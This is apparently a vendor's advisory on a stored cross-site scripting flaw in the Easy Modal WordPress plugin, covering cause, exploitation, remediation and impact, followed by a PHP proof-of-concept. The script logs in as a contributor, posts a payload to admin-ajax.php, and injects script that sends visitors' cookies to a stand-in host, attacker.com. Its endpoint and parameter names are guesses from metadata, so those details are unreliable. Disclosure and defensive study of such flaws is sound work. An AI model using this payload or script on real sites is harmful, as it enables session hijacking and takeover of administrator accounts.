Atomic Edge analysis of CVE-2026-24617 (metadata-based):
The Easy Modal WordPress plugin version 2.1.0 and earlier contains an authenticated stored cross-site scripting (XSS) vulnerability. Contributor-level or higher authenticated users can inject arbitrary JavaScript into pages or posts. The injected scripts execute when other users, including administrators, view the compromised content. The CVSS score of 6.4 (Medium severity) reflects the requirement for authentication and the lack of direct integrity or availability impact.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping (CWE-79). The vulnerability description confirms inadequate input validation. Without source code, Atomic Edge infers the plugin likely fails to properly sanitize user-supplied data before storing it in the database or escapes it before rendering in browser context. This pattern commonly occurs in custom meta fields, modal content editors, or settings panels where raw HTML or JavaScript input is accepted without proper WordPress `wp_kses()` or `esc_html()` functions.
Exploitation requires an attacker with at least contributor-level WordPress access. The attacker likely navigates to the plugin’s modal creation or editing interface, either in the WordPress admin area or via a frontend submission form. They inject a malicious JavaScript payload into a vulnerable field, such as modal title, content, or custom CSS/JS sections. A typical payload would be `alert(document.cookie)` or a more advanced payload that steals session cookies. The payload persists in the database. When any user views a page containing the compromised modal, the script executes in their browser session.
Remediation requires implementing proper input sanitization and output escaping. The plugin should sanitize all user input before database storage using WordPress functions like `sanitize_text_field()`, `wp_kses()`, or `sanitize_textarea_field()`. For output, the plugin must escape dynamic content with `esc_html()`, `esc_attr()`, or `wp_kses_post()` depending on context. WordPress nonce verification should also be added to all form submissions to prevent CSRF attacks, though this does not directly address the XSS flaw.
The impact of successful exploitation includes session hijacking, administrative privilege escalation, and site defacement. An attacker with contributor access can inject malicious scripts that execute in higher-privileged users’ browsers. This could lead to administrative account compromise, backdoor installation, or data exfiltration. The stored nature means the attack persists across sessions and affects all users who view the compromised content. While the vulnerability does not directly allow remote code execution on the server, client-side script execution can facilitate full site takeover through administrator account compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24617 - Easy Modal <= 2.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-24617
* ASSUMPTIONS (based on metadata analysis):
* 1. The plugin has an admin-ajax endpoint or admin-post endpoint for modal management
* 2. Contributor-level users can access modal creation/editing functionality
* 3. A parameter exists (likely 'content', 'title', or 'settings') that accepts unsanitized HTML
* 4. No nonce verification or insufficient capability checks exist
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS - Contributor or higher
$password = 'contributor_password'; // CHANGE THIS
// Payload to demonstrate XSS - steals admin cookies
$payload = '<script>new Image().src="https://attacker.com/steal.php?c="+encodeURIComponent(document.cookie);</script>';
// Login to WordPress to obtain authentication cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
// Check if login succeeded by looking for admin dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Attempt to exploit via admin-ajax.php (most common WordPress plugin endpoint)
// The exact action name is inferred from plugin slug 'easy-modal'
$ajax_data = [
'action' => 'easy_modal_save', // Inferred action name
'modal_id' => '1', // Assuming existing modal or new creation
'modal_content' => 'Legitimate modal content ' . $payload, // Vulnerable parameter
'modal_title' => 'Test Modal',
// Note: Nonce parameter omitted intentionally - vulnerability may not require it
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POSTFIELDS => $ajax_data,
CURLOPT_REFERER => $target_url . '/wp-admin/' // Maintain session context
]);
$response = curl_exec($ch);
// Check for success indicators
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
if (strpos($response, 'success') !== false || strpos($response, 'saved') !== false) {
echo "Payload likely injected successfully.n";
echo "When an administrator views any page with this modal, their cookies will be sent to attacker.com.n";
} else {
echo "AJAX request completed but success indicator not found.n";
echo "Response: " . substr($response, 0, 500) . "n";
}
} else {
echo "AJAX request failed with HTTP code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}
curl_close($ch);
unlink('cookies.txt');
?>
